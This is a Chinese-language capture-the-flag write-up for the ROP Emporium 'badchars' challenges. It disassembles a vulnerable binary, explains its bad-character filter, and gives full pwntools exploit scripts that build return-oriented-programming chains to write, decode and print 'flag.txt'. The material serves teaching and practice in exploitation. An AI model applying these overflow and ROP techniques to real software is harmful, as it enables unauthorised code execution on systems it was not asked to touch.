文章目录

  • 1. badchars32
    • 信息收集
    • 黑盒测试
    • 反汇编
    • 思路
    • Exp
  • 2. badchars
    • 信息
    • 反汇编
    • 构造Payload
    • 调试分析
    • Exp
  • 3. 参考文章

1. badchars32

信息收集

题目提供了一个可执行文件badchars32, 一个动态库libbadchars32.so,一个flag.txt。

$ file badchars32
badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=48ae8ea56ad3b3ef64444a622db86aa4f0f26b7d, not stripped
$ file libbadchars32.so
libbadchars32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, BuildID[sha1]=9987e654d1d6aec3dbc0abbab74a28d1ab8b6286, not stripped
$ checksec libbadchars32.so
[*] '/home/starr/Documents/CProject/pwn/libbadchars32.so'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      PIE enabled

黑盒测试

$ ./badchars32 < cyclic.txt
badchars by ROP Emporium
x86badchars are: 'x', 'g', 'a', '.'
> Thank you!
Segmentation fault (core dumped)
$ gdb ./badchars32 ./badchars32.core.5172
...
Core was generated by `./badchars32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0xebebeb6c in ?? ()
pwndbg> cyclic -l 0xebebeb6c
[CRITICAL] Pattern contains characters not present in the alphabet

这里定位溢出点失败了,应该和字符过滤有关,需要分析一下。

反汇编

$ objdump -d -M intel badchars32080483b0 <pwnme@plt>:
...
080483d0 <print_file@plt>:
...
08048506 <main>:8048506:       8d 4c 24 04             lea    ecx,[esp+0x4]804850a:       83 e4 f0                and    esp,0xfffffff0804850d:       ff 71 fc                push   DWORD PTR [ecx-0x4]8048510:       55                      push   ebp8048511:       89 e5                   mov    ebp,esp8048513:       51                      push   ecx8048514:       83 ec 04                sub    esp,0x48048517:       e8 94 fe ff ff          call   80483b0 <pwnme@plt>804851c:       b8 00 00 00 00          mov    eax,0x08048521:       83 c4 04                add    esp,0x4...8048529:       c3                      ret0804852a <usefulFunction>:804852a:       55                      push   ebp804852b:       89 e5                   mov    ebp,esp804852d:       83 ec 08                sub    esp,0x88048530:       83 ec 0c                sub    esp,0xc8048533:       68 e0 85 04 08          push   0x80485e0   # nonexistent8048538:       e8 93 fe ff ff          call   80483d0 <print_file@plt>804853d:       83 c4 10                add    esp,0x108048540:       90                      nop8048541:       c9                      leave8048542:       c3                      ret08048543 <usefulGadgets>:8048543:       00 5d 00                add    BYTE PTR [ebp+0x0],bl8048546:       c3                      ret8048547:       30 5d 00                xor    BYTE PTR [ebp+0x0],bl804854a:       c3                      ret804854b:       28 5d 00                sub    BYTE PTR [ebp+0x0],bl804854e:       c3                      ret804854f:       89 37                   mov    DWORD PTR [edi],esi8048551:       c3                      ret
$ strings -t x  badchars32 | grep 5e05e0 nonexistent$ objdump -d -M intel libbadchars32.so
000006bd <pwnme>:...711:   8d 45 c8                lea    eax,[ebp-0x38]714:   83 c0 10                add    eax,0x10717:   50                      push   eax718:   e8 83 fe ff ff          call   5a0 <memset@plt>...747:   68 00 02 00 00          push   0x20074c:   8d 45 c8                lea    eax,[ebp-0x38]74f:   83 c0 10                add    eax,0x10752:   50                      push   eax753:   6a 00                   push   0x0755:   e8 c6 fd ff ff          call   520 <read@plt> read(stdin, exp-0x28, 0x200)...000007cf <print_file>:7cf:   55                      push   ebp7d0:   89 e5                   mov    ebp,esp7d2:   53                      push   ebx7d3:   83 ec 34                sub    esp,0x34...7eb:   8d 83 cb e8 ff ff       lea    eax,[ebx-0x1735]       "r"7f1:   50                      push   eax7f2:   ff 75 08                push   DWORD PTR [ebp+0x8]7f5:   e8 96 fd ff ff          call   590 <fopen@plt>...862:   c3                      ret

主函数调用so中有溢出漏洞的pwnme函数,根据so的反汇编代码手算一下,溢出点偏移应该是(ebp+4) - (ebp-0x28) == 44,其实和前几题一样。

而so中的print_file,可以用来输出flag。

pwnme函数中还有对输入字符串的检查,用ida分析一下:

.text:00000723                 lea     eax, (aBadcharsAreXGA - 2000h)[ebx] ; "badchars are: 'x', 'g', 'a', '.'"
.text:00000729                 push    eax             ; s
.text:0000072A                 call    _puts
.text:0000074C                 lea     eax, [ebp+nInputBytes]
.text:0000074F                 add     eax, 10h
.text:00000752                 push    eax             ; buf
.text:00000753                 push    0               ; fd
.text:00000755                 call    _read
.text:0000075A                 add     esp, 10h
.text:0000075D                 mov     [ebp+nInputBytes], eax
.text:00000760                 mov     [ebp+i], 0
.text:00000767                 jmp     short beginChecking
.text:00000769 ; ---------------------------------------------------------------------------
.text:00000769
.text:00000769 loopCheckInput:                         ; CODE XREF: pwnme+F8↓j
.text:00000769                 mov     [ebp+j], 0
.text:00000770                 jmp     short badchars_0_3
.text:00000772 ; ---------------------------------------------------------------------------
.text:00000772
.text:00000772 checkLogic:                             ; CODE XREF: pwnme+E5↓j
.text:00000772                 mov     eax, [ebp+i]
.text:00000775                 movzx   ecx, [ebp+eax+arrInput] ; arrInput[i]
.text:0000077A                 mov     eax, [ebp+j]
.text:0000077D                 mov     edx, ds:(badcharacters_ptr - 2000h)[ebx]
.text:00000783                 movzx   eax, byte ptr [edx+eax] ; badcharacters[j]
.text:00000787                 cmp     cl, al
.text:00000789                 jnz     short nextBadChar
.text:0000078B                 mov     eax, [ebp+i]    ; if(arrInput[i] == badchars[j])
.text:0000078B                                         ;    arrInput[i] = 0xEB
.text:0000078E                 mov     [ebp+eax+arrInput], 0EBh
.text:00000793
.text:00000793 nextBadChar:                            ; CODE XREF: pwnme+CC↑j
.text:00000793                 mov     eax, [ebp+j]
.text:00000796                 add     eax, 1
.text:00000799                 mov     [ebp+j], eax
.text:0000079C
.text:0000079C badchars_0_3:                           ; CODE XREF: pwnme+B3↑j
.text:0000079C                 mov     eax, [ebp+j]
.text:0000079F                 cmp     eax, 3
.text:000007A2                 jbe     short checkLogic
.text:000007A4                 mov     eax, [ebp+i]
.text:000007A7                 add     eax, 1
.text:000007AA                 mov     [ebp+i], eax
.text:000007AD
.text:000007AD beginChecking:                          ; CODE XREF: pwnme+AA↑j
.text:000007AD                 mov     edx, [ebp+i]
.text:000007B0                 mov     eax, [ebp+nInputBytes]
.text:000007B3                 cmp     edx, eax
.text:000007B5                 jb      short loopCheckInput
.text:000007B7                 sub     esp, 0Ch
.text:000007BA                 lea     eax, (aThankYou - 2000h)[ebx] ; "Thank you!"

坏字符一共4个,”x, g, a, .“,对输入的每个字符进行检查,如果发现坏字符则赋值为0xEB。所以在黑盒测试时,0xebebeb6c是3个a被替换后的数据。

思路

先假设没有过滤,那么需要把flag.txt字符串写进.data里,再返回到print_file。思路和write432一样。

搜索一下pop和mov:

pwndbg> rop --grep "pop|mov"
...
0x080484e7 : mov al, byte ptr [0xc9010804] ; ret
0x0804846d : mov al, byte ptr [0xd0ff0804] ; add esp, 0x10 ; leave ; ret
0x080484ba : mov al, byte ptr [0xd2ff0804] ; add esp, 0x10 ; leave ; ret
0x080484e4 : mov byte ptr [0x804a020], 1 ; leave ; ret
0x0804854f : mov dword ptr [edi], esi ; ret
0x08048381 : mov ebx, 0x81000000 ; ret
0x08048423 : mov ebx, dword ptr [esp] ; ret
0x0804847a : mov esp, 0x27 ; add bl, dh ; ret
...
0x0804854c : pop ebp ; add bl, al ; mov dword ptr [edi], esi ; ret
0x08048548 : pop ebp ; add bl, al ; sub byte ptr [ebp], bl ; ret
0x08048544 : pop ebp ; add bl, al ; xor byte ptr [ebp], bl ; ret
0x08048525 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485bb : pop ebp ; ret
0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804839d : pop ebx ; ret
0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485ba : pop edi ; pop ebp ; ret
0x080485b9 : pop esi ; pop edi ; pop ebp ; ret
...

0x0804854f处的mov,和0x080485b8,0x080485b9的pop指令看起来可以搭配。简单构造一下payload:

padding        len 44pGadget1      pop esi ; pop edi ; pop ebp ; ret
"flag"          pop to esi
pData         pop to edi
padding       pop to ebp
pGadget2      mov dword ptr [edi], esi ; ret  "flag" --> .datapGadget1   重复两次
".txt"
pData+4
padding
pGadget2pPrintFile
padding      当然最好是一个正常的返回地址
pData

然后考虑坏字符的问题。梳理下流程:

  1. read之后马上检查坏字符,所以输入的字符串应该是经过解密的,比如a+1–>b,或者xor一下也行;
  2. 需要再找一段gadget,将输入字符解码,比如add, sub, xor,然后再存到.data里。

搜一下:

pwndbg> rop --grep "sub|add|xor"
0x08048523 : add al, 0x59 ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080484e8 : add al, 8 ; add ecx, ecx ; ret
0x0804846e : add al, 8 ; call eax
0x080484bb : add al, 8 ; call edx
0x0804854d : add bl, al ; mov dword ptr [edi], esi ; ret
0x08048549 : add bl, al ; sub byte ptr [ebp], bl ; ret
0x08048545 : add bl, al ; xor byte ptr [ebp], bl ; ret
0x0804847f : add bl, dh ; ret
0x0804847d : add byte ptr [eax], al ; add bl, dh ; ret
0x0804847c : add byte ptr [eax], al ; add byte ptr [eax], al ; ret
0x08048398 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804847e : add byte ptr [eax], al ; ret
0x08048543 : add byte ptr [ebp], bl ; ret
0x08048520 : add byte ptr [ebx + 0x5d5904c4], al ; lea esp, [ecx - 4] ; ret
...
0x0804854b : sub byte ptr [ebp], bl ; ret
0x080484b4 : sub esp, 0x10 ; push eax ; push 0x804a020 ; call edx
0x08048468 : sub esp, 0x14 ; push 0x804a020 ; call eax
0x0804837d : sub esp, 8 ; call 0x8048449
0x08048478 : test byte ptr [ebp + 0x27bc], 0 ; add bl, dh ; ret
0x08048713 : xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x08048547 : xor byte ptr [ebp], bl ; ret
0x080485cf : xor ebx, dword ptr [edx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

搜索结果要根据gadget1和gadget2来筛选,关注ebx、esi、edi、ebp这几个寄存器。注意到0x08048543处的指令,它可以将ebp指向的字节加上bl。从加密的角度,ebp指向密文,bl就是密钥。这里就取bl为1来构造payload吧。当然如果加密后还是坏字符,就得考虑异或之类的了。

其实,0x08048543,0x08048547, 0x0804854b三处指令都是出题人在usefulGadged函数提供的。

这个gadget3的使用方法:

  1. 因为是操作内存,所以应该放在pGadget2之后,此时已经将加密的字符串存到了.data中;
  2. 因为每次只能解密1个字节,所以要重复4次("flag.txt"有4个坏字节),并且需要有pop ebx, pop ebp这样的gadget,幸运的是刚刚搜索pop有这两条结果;
  3. 因为pGadget1里面也有pop ebx, pop ebp,所以别浪费,存储一次就解密一次。

并且因为用到了ebx,gadget1也要换成0x080485b8处的指令。

别忘了获取一下.data地址:

$ readelf -S badchars32 | grep .data[16] .rodata           PROGBITS        080485d8 0005d8 000014 00   A  0   0  4[24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4

构造payload:

padding        len 44pGadget1        0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x000001        pop to ebx
"fl`f"           pop to esi
pData           pop to edi   存储位置 0x0804a018
pData + 2      pop to ebp   a的密文
pGadget2        0x0804854f : mov dword ptr [edi], esi ; ret;
pGadgetDecrypt  add byte ptr [ebp], bl ; ret   解密得到a继续解密
pGadgetPopEbx  0x0804839d : pop ebx ; ret
0x000001
pGadgetPopEbp  0x080485bb : pop ebp ; ret
pData + 3       g的密文
pGadgetDecrypt  解密得到gpGadget1     第二次存储
0x000001
"-twt"
pData+4          存储位置
pData+4          .的密文
pGadget2
pGadgetDecrypt  解密得到.继续解密
pGadgetPopEbx
0x000001
pGadgetPopEbp
pData + 6      x的密文
pGadgetDecrypt  解密得到xpPrintFile
padding      最好是一个正常的返回地址
pData

Exp

from pwn import *context.arch = "i386"
context.bits = 32
context.os = "linux"
context.log_level = 'debug'def getio(program):io = process(program)# io = gdb.debug([program], "b main")return io;badChars = ["a", "g", ".", "x"]
def encryptSubOne(plainStr, byKey):encryptedStr = ""for i in range(len(plainStr)):if plainStr[i] in badChars:encryptedStr += chr(ord(plainStr[i]) - byKey);else:encryptedStr += plainStr[i]return encryptedStrnBufOverflowIndex = 44
pPltPrintFile = 0x080483d0;
pGadgetPopEbxEsiEdiEbp = 0x080485b8  # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pGadgetMoveEsiToEdi = 0x0804854f     # mov dword ptr [edi], esi ; ret;
pGadgetPopEbx = 0x0804839d           # pop ebx ; ret
pGadgetPopEbp = 0x080485bb           # pop ebp ; ret
pGadgetDecrypt = 0x08048543          # add byte ptr [ebp], bl ; ret
pDataSection = 0x0804a018
byKey = 0x01encryptedFlagTxt = encryptSubOne("flag.txt", byKey)# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding = "ascii");# 2.1 store encrypt("flag") and decrypt
payload += p32(pGadgetPopEbxEsiEdiEbp)
payload += p32(byKey)             # pop to ebx
payload += bytes(encryptedFlagTxt[:4], encoding = "ascii") # pop to esi
payload += p32(pDataSection)          # pop to edi   存储位置
payload += p32(pDataSection + 2)     # pop to ebp   a的密文
payload += p32(pGadgetMoveEsiToEdi)       # mov dword ptr [edi], esi ; ret;  存入.data
payload += p32(pGadgetDecrypt)            # add byte ptr [ebp], bl ; ret   解密得到a# 2.2 继续解密
payload += p32(pGadgetPopEbx)
payload += p32(byKey)               # pop to ebx
payload += p32(pGadgetPopEbp)
payload += p32(pDataSection + 3)    # pop to ebp   g的密文
payload += p32(pGadgetDecrypt)        # 解密得到g# 3.1 第二次存储
payload += p32(pGadgetPopEbxEsiEdiEbp)
payload += p32(byKey)              # pop to ebx
payload += bytes(encryptedFlagTxt[4:], encoding = "ascii") # pop to esi
payload += p32(pDataSection+4)      #  pop to edi  存储位置
payload += p32(pDataSection+4)      #  pop to ebp  .的密文
payload += p32(pGadgetMoveEsiToEdi) # 存入.data
payload += p32(pGadgetDecrypt)       # 解密得到 .# 3.2 继续解密
payload += p32(pGadgetPopEbx)
payload += p32(byKey)             # pop to ebx
payload += p32(pGadgetPopEbp)
payload += p32(pDataSection + 6)    # pop to ebp   x的密文
payload += p32(pGadgetDecrypt)        # 解密得到x# 4. print_file("flag.txt")
payload += p32(pPltPrintFile)
payload += bytes("B" * int(context.bits/8), encoding = "ascii");      # 最好是一个正常的返回地址
payload += p32(pDataSection)io = getio("./badchars32")io.recvuntil(">")# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()# b'Thank you!\n'
# b'ROPE{a_placeholder_32byte_flag!}\n'
# b'Thank you!\nROPE{a_placeholder_32byte_flag!}\n'

2. badchars

信息

确认下.data段的地址:

$ readelf -S badchars | grep .data[15] .rodata           PROGBITS         00000000004006c0  000006c0[23] .data             PROGBITS         0000000000601028  00001028

反汇编

64位版本,可以一次传递8个字节,先反汇编看看传参,确认是用rdi传递字符串参数:

$ objdump -d -M intel badchars
...
0000000000400510 <print_file@plt>:
...
0000000000400617 <usefulFunction>:400617:       55                      push   rbp400618:       48 89 e5                mov    rbp,rsp40061b:       bf c4 06 40 00          mov    edi,0x4006c4400620:       e8 eb fe ff ff          call   400510 <print_file@plt>400625:       90                      nop
...
0000000000400628 <usefulGadgets>:400628:       45 30 37                xor    BYTE PTR [r15],r14b40062b:       c3                      ret40062c:       45 00 37                add    BYTE PTR [r15],r14b40062f:       c3                      ret400630:       45 28 37                sub    BYTE PTR [r15],r14b400633:       c3                      ret400634:       4d 89 65 00             mov    QWORD PTR [r13+0x0],r12400638:       c3                      ret
...
$ objdump -d -M intel libbadchars.so
...
00000000000008fa <pwnme>:
...972:   48 8d 45 c0             lea    rax,[rbp-0x40]976:   48 83 c0 20             add    rax,0x2097a:   ba 00 02 00 00          mov    edx,0x20097f:   48 89 c6                mov    rsi,rax982:   bf 00 00 00 00          mov    edi,0x0987:   e8 34 fe ff ff          call   7c0 <read@plt>    read(stdin, rsi, 0x200)
...
0000000000000a07 <print_file>:a07:   55                      push   rbpa08:   48 89 e5                mov    rbp,rspa0b:   48 83 ec 40             sub    rsp,0x40a0f:   48 89 7d c8             mov    QWORD PTR [rbp-0x38],rdia13:   48 c7 45 f8 00 00 00    mov    QWORD PTR [rbp-0x8],0x0a1a:   00a1b:   48 8b 45 c8             mov    rax,QWORD PTR [rbp-0x38]a1f:   48 8d 35 d1 00 00 00    lea    rsi,[rip+0xd1]        # af7 <badcharacters+0x57>a26:   48 89 c7                mov    rdi,raxa29:   e8 c2 fd ff ff          call   7f0 <fopen@plt>
...

同时确认溢出点偏移(rbp+8) - (rbp-0x40 + 0x20) == 0x28

构造Payload

搜一下gadget,关注rdi参数:

pwndbg> rop --grep "pop|mov"
...
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400635 : mov dword ptr [rbp], esp ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400687 : mov edi, ebp ; call qword ptr [r12 + rbx*8]
0x0000000000400686 : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
.
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret        !!!!!!!!!!!!!
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret        !!!!!!!!!
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  !!!!!!!!!!!!!!!
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

0x0000000000400634处的mov指令,可以利用。pop指令就关注一下r13和r12寄存器(有两个),0x000000000040069c处的pop应该可以用。

0x00000000004006a0处pop r14, pop r15也可以用来获取key和密文地址。

0x00000000004006a3处pop rdi,用来最后传参给print_file。

然后搜一下解密gadget,关注r14和r15:

pwndbg> rop --grep "add|sub|xor"
0x0000000000400549 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040061e : add al, bpl ; jmp 0x40062a
0x000000000040061f : add al, ch ; jmp 0x400629
0x000000000040054f : add bl, dh ; ret
0x000000000040062c : add byte ptr [r15], r14b ; ret         !!!!!
0x00000000004006ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400586 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040054e : add byte ptr [rax], al ; ret
0x0000000000400585 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040054d : add byte ptr [rax], r8b ; ret
0x00000000004005e7 : add byte ptr [rcx], al ; pop rbp ; ret
0x000000000040062d : add byte ptr [rdi], dh ; ret
0x00000000004005e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x00000000004004eb : add esp, 8 ; ret
0x00000000004004ea : add rsp, 8 ; ret
...
0x0000000000400630 : sub byte ptr [r15], r14b ; ret
0x0000000000400631 : sub byte ptr [rdi], dh ; ret
0x00000000004006b5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004006b4 : sub rsp, 8 ; add rsp, 8 ; ret
...
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x0000000000400629 : xor byte ptr [rdi], dh ; ret

有0x000000000040062c、 0x0000000000400630、0x0000000000400628三处指令可以用,当然这也是作者在usefulGadgets函数提供的。

思路和32位大致一样:

padding    len 0x28
pGadgetPop          0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
encrypt("flag.txt")            pop str to r12
pData               pop .data addr to r13
1                   pop key to r14
pData + 2          pop to r15  a的密文
pGadgetMovR13ToR12   0x0000000000400634 : mov qword ptr [r13], r12 ; ret
pGadgetDecrypt       0x000000000040062c : add byte ptr [r15], r14b ; ret  获取apGadgetPopR14R15   0x00000000004006a0 : pop r14 ; pop r15 ; ret
1                   key
pData + 3          g的密文
pGadgetDecrypt      获取gpGadgetPopR14R15
1                   key
pData + 4          .的密文
pGadgetDecrypt      获取.pGadgetPopR14R15
1                   key
pData + 6          x密文
pGadgetDecrypt      获取xpGadgetPopRdi    0x00000000004006a3 : pop rdi ; ret
pData
pPltPrintFile       0x0000000000400510

调试分析

运行脚本后报错:

Failed to open file: flag.twt

"x"没有被成功解密,经过调试,发现问题出在.data的地址上:

>>> hex(0x601028+6)
'0x60102e'
>>> chr(0x2e)
'.'

x的密文所在的地址,被当作坏字符, 赋值为0xEB了,,,如下R15寄存器:

*R15  0x6010eb ◂— 0x0RBP  0x4141414141414141 ('AAAAAAAA')
*RSP  0x7fff8ef4c1b8 —▸ 0x40062c (usefulGadgets+4) ◂— add    byte ptr [r15], r14b /* 'E' */
*RIP  0x4006a4 (__libc_csu_init+100) ◂— ret
───────────────────[ DISASM ]────────────────────────0x4006a3 <__libc_csu_init+99>     pop    rdi► 0x4006a4 <__libc_csu_init+100>    ret                                  <0x40062c; usefulGadgets+4>↓0x40062c <usefulGadgets+4>        add    byte ptr [r15], r14b

那么试着将目标地址加上7个字节,就不会有地址包含坏字节了。

Exp

from pwn import *context.arch = "amd64"
context.bits = 64
context.os = "linux"def getio(program):io = process(program)# io = gdb.debug([program], "b main")return io;badChars = ["a", "g", ".", "x"]
def encryptSubOne(plainStr, byKey):encryptedStr = ""for i in range(len(plainStr)):if plainStr[i] in badChars:encryptedStr += chr(ord(plainStr[i]) - byKey);else:encryptedStr += plainStr[i]return encryptedStrnBufOverflowIndex = 0x28
pDataSection = 0x0000000000601028 + 7   # 0x0000000000601028 + 6 --> badchar 0x2e
pPltPrintFile = 0x0000000000400510
pGadgetPop = 0x000000000040069c         # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pGadgetMovR13ToR12 = 0x0000000000400634 # mov qword ptr [r13], r12 ; ret
pGadgetDecrypt = 0x000000000040062c     # add byte ptr [r15], r14b ; ret  获取a
pGadgetPopR14R15 = 0x00000000004006a0   # pop r14 ; pop r15 ; ret
pGadgetPopRdi = 0x00000000004006a3      # pop rdi ; ret
byKey = 0x1;encryptedFlagTxt = encryptSubOne("flag.txt", byKey)# 1. padding
payload = bytes("A" * nBufOverflowIndex, encoding="ascii")# 2. store encryped "flag.txt" to .data and decrypt one byte
payload += p64(pGadgetPop)            #  pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += bytes(encryptedFlagTxt, encoding="ascii")     # pop str to r12
payload += p64(pDataSection)                  # pop .data addr to r13
payload += p64(byKey)             # key to r14
payload += p64(pDataSection + 2)             # pop to r15  a的密文
payload += p64(pGadgetMovR13ToR12)   # mov qword ptr [r13], r12 ; ret
payload += p64(pGadgetDecrypt)        # add byte ptr [r15], r14b ; ret  获取a# 3. decrypt other bytes
payload += p64(pGadgetPopR14R15)  # pop r14 ; pop r15 ; ret
payload += p64(byKey)             # key
payload += p64(pDataSection + 3) # g的密文
payload += p64(pGadgetDecrypt)        # 获取gpayload += p64(pGadgetPopR14R15)
payload += p64(byKey)             # key
payload += p64(pDataSection + 4) # .的密文
payload += p64(pGadgetDecrypt)        # 获取.payload += p64(pGadgetPopR14R15)
payload += p64(byKey)             # key
payload += p64(pDataSection + 6) # x密文
payload += p64(pGadgetDecrypt)        # 获取x# 4. print_file("flag.txt")
payload += p64(pGadgetPopRdi)     # pop rdi ; ret
payload += p64(pDataSection)
payload += p64(pPltPrintFile)     io = getio("./badchars")io.recvuntil(">")# gdb.attach(io)
# pause()
io.sendline(payload)
print(io.recv(timeout=10))
print(io.recv(timeout=10))
io.interactive()

3. 参考文章

ROPEmporium: badchars 32-bit | (cavetownie.github.io)

ROP_Emporium_badchars相关推荐

最新文章

  1. 13.配置 influxDB 鉴权及 HTTP API 写数据的方法
  2. 3_11 InterpreterMode 解释器模式
  3. html 属性中嵌套php,如何在PHP中使用嵌套数组创建HTML数据属性字符串?
  4. notebook python 内嵌 数据库_python数据分析:在jupyter notebook上使用pythonSQL做数据分析...
  5. Java基础教程:IO流与文件基础
  6. Window系统 安装TFLearn
  7. 计算机毕业设计java+SSM网上购物超市网站(源码+系统+mysql数据库+Lw文档)
  8. 多套 企业/工厂/超市/仓库库存管理系统源码 工具软件程序源代码
  9. 【Unity】雷达+Unity +TUIO 介绍一
  10. Python京东爬虫
  11. 真正高质量的免费高速高防空间!
  12. 美团网站底部超链接部分设计实现
  13. 开放性金融中的超流动性抵押链
  14. python函数名词解释_python的面向对象程序设计(名词解释及实例)
  15. 移动网流量用户身份识别系统的源代码_护照阅读器识别身份证、护照、港澳通行证 、军官证...
  16. discuz的php7版本
  17. 一分钟学会手工注册BHO
  18. 常见的纸张及相片尺寸
  19. cancase lin管脚_Vector CANCASE XL+CABLE 模块
  20. wondows10使用vcpkg编译colmap的教程(带suitesparse)

热门文章

  1. itchat微信好友信息统计(性别区域)
  2. LPR车牌识别-pytorch上分之路
  3. 用ADI官方源码构建任意Xilinx的ZYNQ平台下的ADI芯片控制程序(1)——硬件平台搭建篇
  4. Python - 3.6 学习二
  5. 对于ESP、EBP寄存器的理解
  6. 生活应该过成现在的样子吗?
  7. 超模脸、网红脸、萌娃脸...换头像不重样?我开源了5款人脸生成器
  8. 全球化观点的生产模式
  9. halcon裁剪图像_Halcon将裁剪后的图像还原为原始大小
  10. 谷胱甘肽(GSH)修饰的CdTe/CdS量子点(GSH-CdTe/CdSQDs)|PEG修饰水溶性量子点ZnS:Mn